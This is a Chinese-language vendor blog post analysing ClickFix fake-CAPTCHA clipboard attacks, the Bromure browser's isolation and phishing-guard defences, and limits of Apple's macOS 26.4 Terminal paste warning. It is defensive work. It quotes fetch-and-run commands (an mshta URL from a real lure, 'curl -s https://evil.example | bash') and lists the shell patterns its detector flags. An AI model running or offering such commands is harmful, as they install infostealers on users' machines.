剪貼簿就是那把利刃——ClickFix 把每一位防守者逼到哪裡
一個假冒的 CAPTCHA 把一行 PowerShell 指令寫進剪貼簿。使用者按下 Win+R 然後貼上。沒有沙箱逃逸、沒有零時差、也不需要任何已簽章的執行檔——人類本身就是那把利刃。這是我們今天針對它出貨的東西、現在還存在的缺口,以及 Apple 在 macOS 26.4 裡做對了什麼、又錯在哪裡。
一個網頁假裝是 CAPTCHA。當使用者在讀「我不是機器人」這幾行說明時,這個網頁在背地裡悄悄地把一行 PowerShell 指令寫進剪貼簿。然後它要使用者按下 Win+R 並貼上,「以便完成驗證」。人類就是那把利刃。這就是 ClickFix,而它真的很難擋——不是因為它巧妙,而是因為它繞過了幾乎瀏覽器原本被設計用來提供的每一層防禦。
在 2026 年 4 月 9 日,Rapid7 觀察到一位使用者造訪了一個看起來像是 Anthropic Claude 桌面程式下載頁的網站。這個頁面要求他們「驗證自己是人類」。當他們點下按鈕時,這個頁面把以下這串字放到剪貼簿上:
mshta https://download-version.1-5-8.com/claude.msixbundle
然後它告訴他們按下 Win+R 並貼上。使用者照做了。mshta.exe 是一支用來執行 HTML Applications 的 Windows 執行檔,二十多年來隨著每一個版本的作業系統一起出貨。mshta 所執行的,是一條最後在主機上跑起一支資訊竊取器作結的鏈。沒有任何瀏覽器的臭蟲被碰到。沒有任何程式碼簽章檢查被繞過。沒有任何提權提示出現。瀏覽器完全照著使用者要求的去做;作業系統也完全照著使用者要求的去做。攻擊者只是透過它們兩個去提出了要求,而剪貼簿就是那條導線。
四天後,Booking.com 揭露它的飯店合作夥伴網路遭到同一手法攻擊——微軟將其追蹤為 Storm-1865——最後的載荷是 XWorm 和 VenomRAT。微軟本身,在更早的一篇分析裡,把 2025 年初始存取入侵當中百分之四十七歸因於這一種手法。Booking.com 的合作夥伴並沒有點擊惡意附件。他們沒有下載執行檔。他們按下 Win+R 並貼上了某串字。今天,要得手所需要的就只有這些。
為什麼 ClickFix 行得通。
這條攻擊鏈可以寫在一張餐巾紙上。
人們平常會想到的每一種防禦,等到載荷真正執行的時候,都已經輸了。網址信譽過濾?攻擊者昨天才註冊 download-version.1-5-8.com。瀏覽器沙箱?這個載荷根本沒打算逃出瀏覽器——它只是請人類替它把事辦了。執行檔的程式碼簽章檢查?mshta.exe 是一支由微軟簽章的執行檔。提權提示?mshta 不需要提權就能下載並執行一個 HTA。端點代理程式?它看到的是父程序 explorer.exe 由一次使用者按鍵觸發,這和使用者在自己電腦上跑任何其他東西,根本分不出來。
ClickFix 把這個產業一直沒能打上補丁的那一塊——坐在電腦前的那個人——拿過來,把他變成執行階段。這就是為什麼它現在無所不在。Storm-1865 行動用的是一個 Booking.com 品牌包裝的誘餌。Rapid7 的案例用的是一個 Claude 安裝程式的誘餌。Facebook 創作者帳號盜用已經用同一招用了好幾個月。誘餌每週在換;機制則不變。
同一種攻擊,瞄準 macOS。
Rapid7 擷取到的案例、Booking.com 的資料外洩、以及 Facebook 創作者帳號遭盜用事件,目標都是 Windows 主機。這是本週資料裡真實存在的偏差——此刻 ClickFix 這個產業,主要就是一個 Windows 產業——但這是市場的屬性,不是攻擊的屬性。ClickFix 是一種剪貼簿加鍵盤的手法。它不在乎鍵盤接在哪一種作業系統上。
在 macOS 上,替換動作是機械式的。Win+R 變成 Cmd+Space 和 Terminal——或者最近,變成 Script Editor。那行 mshta 指令變成 curl -s https://evil.example | bash,或一行 osascript -e,或一段 base64 編碼的 AppleScript do shell script。假的 CAPTCHA 還是假的 CAPTCHA;剪貼簿的寫入還是剪貼簿的寫入;網頁那段「驗證你是人類」的腳本,只改了兩句話。Bitdefender 記錄過今年稍早針對 Mac 投放 Atomic Stealer 的 ClickFix 誘餌,而——就像我們等一下會講到的——Apple 之所以覺得有必要在 macOS 26.4 裡出貨一項平台層級的回應,這件事本身就是最清楚不過的訊號:Mac 版本絕不是假設性的。
對 Bromure 來說,這是最吃重的一個情境。Bromure 跑在 macOS 上。我們出貨給的每一位使用者,在成為其他任何身分之前,都先是一位 macOS 上的 ClickFix 目標。當我們在下一節談剪貼簿隔離和 phishing-guard 時,我們談的不是 Windows 世界的一個有趣現象——我們談的是一種已經實際落在我們使用者那台作業系統上的手法,而他們選用的那個平台,正在不完美地試著替它打上補丁。
Bromure 面對 ClickFix 的誠實立場。
我們很想告訴你 Bromure 防得住 ClickFix。它防不住。Bromure 做的事是:把一個先前沒人認領的問題——剪貼簿作為一條由攻擊者操控、連通瀏覽器與主機的導線——收到兩層我們正在積極打磨的防禦後面,一層是架構上的,一層是外掛式的。兩者都不是完成版的答案。兩者都比什麼都沒有好。以下就是它們今天的實際狀態。
第一層——把剪貼簿隔離當成選項,而不是預設。
Bromure 把每一個分頁都跑在它自己可隨時丟棄的 Linux 虛擬機裡。頁面在那裡面跑;瀏覽器在那裡面跑;假 CAPTCHA 從 navigator.clipboard 發出的寫入也發生在那裡面。問題是:這台 VM 的剪貼簿是接到哪裡去的。今天預設的做法,是把它接到 macOS 主機的剪貼簿——因為大多數時候,剪貼簿的用途,就是把一個網址從瀏覽器複製到「訊息」裡、或把一組密碼從 1Password 貼到登入表單。預設把這件事弄壞,會讓這個瀏覽器變得難以使用。
完全隔離模式把這個預設翻過來。在完全隔離模式下,VM 與 macOS 主機之間的剪貼簿橋梁被切斷。分頁裡的頁面仍然可以寫入自己那台 VM 的剪貼簿——而使用者如果真的想要,也仍然可以在那台 VM 的 Linux 終端機裡貼上——但使用者貼進 Win+R、或貼進 Terminal.app、或貼進 Spotlight 的那個主機剪貼簿,是一個不同的剪貼簿。頁面寫入的那串 mshta https://... 永遠到不了主機的貼上緩衝區。ClickFix 這條鏈,在第 2 階段就斷了頭。
對完全隔離誠實的評語:對想要它的使用者而言,它是對 ClickFix 一個乾淨的架構層答案;但它也是一筆可用性上的稅,而這筆稅我們不願意當作預設全體出貨。大多數人一天會在瀏覽器和自己的筆記、通訊軟體、或正在處理的文件之間複製貼上幾十次。把這條路徑變成「它是關的,請自己去設定裡找回複製貼上」,就表示大多數使用者會在一週之內把它再打開——然後我們就同時教會了他們剪貼簿共享的價值、和資訊安全的成本。這不是我們希望他們學到的一課。
所以完全隔離是為那位想要它的使用者準備的、有文件說明的選項,而它是這個架構對 ClickFix 能說出來最有力的一句話。它不是大多數使用者會開著用的東西。
第二層——反釣魚外掛的今天與明天。
對預設姿態——剪貼簿橋梁開啟——來說,我們在 Bromure 的反釣魚元件(我們稱之為 phishing-guard)裡出貨了第二道防線。它做的事值得一提,因為業界大多數人並沒有這麼做,也因為我們認為它是正確答案的起點,而不是終點。
phishing-guard 在分頁 VM 的 Chromium 裡掛鉤三個剪貼簿寫入的進入點:現代的 navigator.clipboard.writeText 和 clipboard.write API,以及舊頁面仍在使用的舊版 document.execCommand('copy') 路徑。每當一個頁面把文字寫入剪貼簿,phishing-guard 都會比主機剪貼簿更早看到它。
接著它會平行地跑兩組測試。第一組,把剪貼簿內容比對一組 shell 指令的正規表達式——我們維護了十條,依照實際在外流通的載荷調校:powershell 呼叫、mshta https:// 樣式、curl ... | bash 管道、base64 編碼的 PowerShell 區塊、certutil -urlcache、rundll32 小把戲,還有其他幾條。第二組,掃描已渲染的頁面,尋找那種教使用者去執行剪貼簿內容的指示樣式——共十三條,多語言的——像是「按下 Win+R」、「開啟 Terminal」、「貼上以驗證你是人類」,分別以英文、法文、西班牙文、德文、葡萄牙文、義大利文、荷蘭文、波蘭文、日文、韓文、中文、阿拉伯文和俄文出現。
當兩者同時觸發——一個長得像 shell 指令的剪貼簿寫入,配上一個在用文字教唆使用者去貼上的頁面——phishing-guard 會把候選載荷送去給一個語言模型做裁決,如果裁決為惡意,就在瀏覽器內跳出警告。
即使這一切如設計那樣運作,仍有兩個誠實的限制:LLM 呼叫有延遲成本,所以動作快的使用者有可能在裁決回來之前就按下貼上;而且正規表達式加頁面文字這一組,能抓到 ClickFix 的形狀,卻抓不到所有變體(一個用嵌入影片而非文字口頭指示使用者的頁面,今天會從樣式掃描的縫裡溜過去)。我們正在積極強化封鎖點、並縮小偵測窗口。這些是有已知答案的工程問題;我們只是還沒做完。
Apple 在 macOS 26.4 出貨了什麼——以及它的不足之處。
在 2026 年 3 月 24 日,Apple 把同一個形狀的想法出貨到作業系統層級。macOS 26.4 為第一方的 Terminal.app 加上了一個貼上警告對話框:當使用者貼進一個 Terminal 視窗時,macOS 會檢視剪貼簿,並在某些條件下顯示一個阻擋式對話框,上面寫著「可能有惡意程式。已封鎖貼上。你的 Mac 並未受到傷害。詐騙者經常鼓勵使用者把文字貼進 Terminal,試圖傷害你的 Mac 或危及你的隱私。」這是一個好的一步,而我們很高興 Apple 做了這件事。我們也覺得有必要精確地說清楚,它是什麼、又不是什麼。
有三個限制值得點名。第一個是這個警告長在 Terminal.app 裡,而不是 macOS 的貼上緩衝區子系統裡。iTerm2、Alacritty、Warp、Kitty,以及 Mac 開發者社群實際在用的每一款終端機,都沒有繼承這項檢查。這不是 Apple 的疏忽——這是一個範圍上的取捨——但它意味著:最有可能去貼一行陌生 shell 指令的那群使用者,也就是擁有自己習慣終端機的工程師,正好是這項功能保護不到的使用者群。
第二個是 Script Editor。在 2026 年 4 月 8 日,Jamf Threat Labs 報告指出,Atomic Stealer 的操作者已經把他們的 ClickFix 社交工程腳本,從*「開啟 Terminal 並貼上」改成了「開啟 Script Editor 並貼上」,因為 Script Editor 會透過 do shell script 執行 AppleScript 和 shell 指令,不在 26.4 這個警告的涵蓋範圍內。Jamf 的 Thijs Xhaflaire 把話說得不能再清楚:「藉由把執行從 Terminal 挪到 Script Editor,攻擊者保留了熟悉的投遞機制,同時悄悄地改變了這條指令究竟是怎麼跑、又在哪裡跑。」*整個產業花了兩週就繞過了這個緩解措施。這不是對 Apple 的批評;這是對問題本身形狀的批評。你沒辦法靠替一個目標打補丁來解決 ClickFix。
第三個限制最大,也最少被討論:macOS 26.4 保護的是 Mac 使用者。真正的 ClickFix 產業——Booking.com 事件背後的 Storm-1865 聯盟結構、假冒 Claude 安裝程式的行動、以及 2025 年百分之四十七初始存取數字的絕大多數——出貨的是 Windows 載荷、用的是 Win+R、呼叫的是 mshta 和 PowerShell,落地的是 Windows 主機。Apple 可以把 Terminal.app 保護得完美無缺,卻一根指針都推不動那片艦隊。對於你今年會讀到的那些 ClickFix 事後分析來說,擁有那個貼上警告的作業系統,通常不會是受害者所跑的那一個。
Apple 做對了什麼
把剪貼簿到 shell 指令這條路徑,當成一條與安全相關的貼上路徑來看待,並在作業系統層級去檢視它——讓系統上的每一個程式都能得到好處。這個框架是對的。那個一次性提示、那個品牌化的對話框、那句「你的 Mac 並未受到傷害」的措辭——全都做得很好。這是平台層級第一次承認剪貼簿是一條威脅通道。
為什麼它不是完整答案
檢查點在 Terminal.app 裡,不在貼上緩衝區子系統裡。它是一次性的。Script Editor 已經是一條繞過。而這項功能被設計去保護的受害者族群,只佔 ClickFix 實際針對的族群的一小部分。Apple 出貨了一個好功能。它沒有出貨一個解決方案,而我們也不認為 Apple 聲稱自己做到了。
瀏覽器獨有的著力點
瀏覽器看得到那個正在寫入剪貼簿的頁面,也看得到那個頁面用來教唆使用者的文字。作業系統只看得到這條鏈的末端。兩個獨立訊號——剪貼簿寫入的位置,以及頁面上的社交工程文字——結合起來形成一個作業系統單獨沒有辦法拿到的裁決。這就是瀏覽器應該分擔一部分這份工作的論據。
瀏覽器搆不到的地方
一旦使用者貼進一個真正的 Terminal、一個真正的執行對話框、一個真正的 Script Editor,載荷就已經跨出了瀏覽器看得到的任何地方。主機必須分擔自己那份責任。macOS 26.4 就是主機在它選擇涵蓋的那些地方,分擔了自己的那一份。Windows 也得這樣做。這是一個需要兩端一起做的問題。
我們願意為之辯護的論點。
二十年來,這個產業面對社交工程攻擊的回應,都是海報。「不要點可疑連結。」「小心釣魚嘗試。」「貼上前三思。」當一位使用者中了 ClickFix,公開面對的回應通常是某個版本的使用者應該更懂事——文章解釋怎麼看出假 CAPTCHA、訓練課程、一年一度的資安意識測驗、一層層禮貌地把責任往下推。這一切底下的假設是:釣魚,歸根究柢,是一個人的問題,而技術這一層已經盡了它能盡的力。
我們不相信這套。我們相信 ClickFix,以及每一種其他的剪貼簿加鍵盤社交工程手法,是一個技術問題,而技術這一層一直拒絕把它認領下來。剪貼簿是一條未經身份驗證的訊息匯流排,連通任何一個網頁和作業系統上任何一支其他程式。執行對話框會接受任何字串。Terminal 會執行落進它裡面的任何東西。這些設計,沒有一個是針對剪貼簿現在實際面對的那位攻擊者去審計過的。它們沒有一個會自己修好自己。
正確的回應是工作——瀏覽器內部、作業系統內部、生態系合作內部——讓剪貼簿到 shell 指令這條路徑,成為機器願意替使用者介入的地方。macOS 26.4 是一步;Windows 需要自己的那一步。phishing-guard 是一步;硬性封鎖剪貼簿寫入、出貨剪貼簿專屬的警告取代通用的轉圈圖示、並把裁決延遲壓到能勝過一次快速貼上——這些是接下來的步驟。完全隔離模式是一步;讓它在日常中更好相處,是再下一步。
這些沒有一條是海報。沒有一條要求使用者更快認出一個假 CAPTCHA、或「停在連結上確認」、或為了開一個瀏覽器分頁而變成資安專家。我們認為人們不應該為了開一個瀏覽器分頁而必須變成資安專家。技術把這件事搞壞了。技術應該把它修好。
Bromure 對 ClickFix 的產品路線圖,正是這份信念的形狀。我們今天出貨的是一份有兩支槓桿的部分防禦——一支強的,代價是可用性;另一支較柔,但它正以我們能給它的最快速度長出利齒。明年我們出貨的會更鋒利。而我們會繼續用像這一篇的文章,把功能做到什麼、沒做到什麼說清楚,因為另一種選擇——出貨一張乾淨的行銷頁面、在「ClickFix」旁邊打上一個勾——正是把這個產業推到「Storm-1865 可以讓 2025 年百分之四十七的初始存取看起來毫不費力」這種處境的那類東西。